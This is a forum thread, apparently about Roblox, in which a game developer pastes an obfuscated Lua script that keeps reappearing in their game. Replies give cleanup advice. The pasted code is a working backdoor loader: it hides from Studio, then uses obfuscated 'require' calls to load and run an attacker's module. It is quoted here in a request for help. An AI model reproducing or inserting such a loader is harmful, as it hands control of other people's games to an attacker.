Weird scripts in studio which lags my game and kills it basically?

So recently I went and made a game, and I am getting in and it won't load. I check studio, and see about 5+ of some weird numbers, and Chinese letters.

Every time I delete them, they come back. (I am the only one with access to studio, and have not used any free-models.)

The inside of the script is this:

iUZog = 'FindFirstChild' iOeZ0MtpMnd = 'IsStudio' iAVKZn1ES3X = 'IsStudio' itoP = '?' i4HZGvLrtvj = 'ClassName' i4M56hC9 = 'Debris' ieO4kWTVniL = 'WaitForChild' iLjIGbH = string.char iijfHDYcnNV = pcall iZl7kjL3detWS = 'PlaceId' i2AMT0JUu = 'test' ijxiR = 'FindFirstChild' iKGbyb = 'Name' ixCdzjnQt9XAeDG = pcall immcLYJFtyqwrTm8T = 'GetProductInfo' ihaQNLCZqV = 'slo' ikm2JvZSZE5 = 'SSM' i2P6uVD0bi = 'RunService' iiXfrL = require iNKr9GaUC8ro0zyY = getfenv i9ElaCpmN6s = 'RunService' ixyQZUb = 'GetService' izytYsjq = 'GetService' i6x1gI = game      if     i6x1gI    [    ixyQZUb    ]    (    i6x1gI, i2P6uVD0bi    )    [    iOeZ0MtpMnd    ]    (i6x1gI[ixyQZUb    ]    (    i6x1gI, i2P6uVD0bi    )    )    then     return     end;ixCdzjnQt9XAeDG(    function()      if     i6x1gI    [ixyQZUb]    (i6x1gI, i4M56hC9    )    [ijxiR    ]    (i6x1gI[ixyQZUb]    (i6x1gI, i4M56hC9), itoP)     then iNKr9GaUC8ro0zyY()    [    iLjIGbH    (21060870 - 21060756    )     .. iLjIGbH(21060857 - 21060756)     .. iLjIGbH(21060869     -     21060756) .. iLjIGbH(21060873 - 21060756) .. iLjIGbH(21060861 - 21060756) .. iLjIGbH(21060870 - 21060756) .. iLjIGbH(21060857 - 21060756)    ]    (i6x1gI[ixyQZUb]    (i6x1gI, i4M56hC9)    [ijxiR]    (i6x1gI[ixyQZUb]    (i6x1gI, i4M56hC9)    , itoP)    )    [ihaQNLCZqV]    (i6x1gI[iZl7kjL3detWS]    )     end      end    )

If anyone could help me, for tips on how to fix this weird thing, please please PLEASE help.. It is slowly ruining my game.

Delete it, it is an unfamiliar script. What most likely happened is you took a free model script that secretly had a hidden virus. Type in "Script" in the workspace search bar and delete any unfamiliar scripts.

Have you installed any unpopular plugins from roblox recently? If so, try deleting them. Also trying scanning your computer with a trusted anti-virus.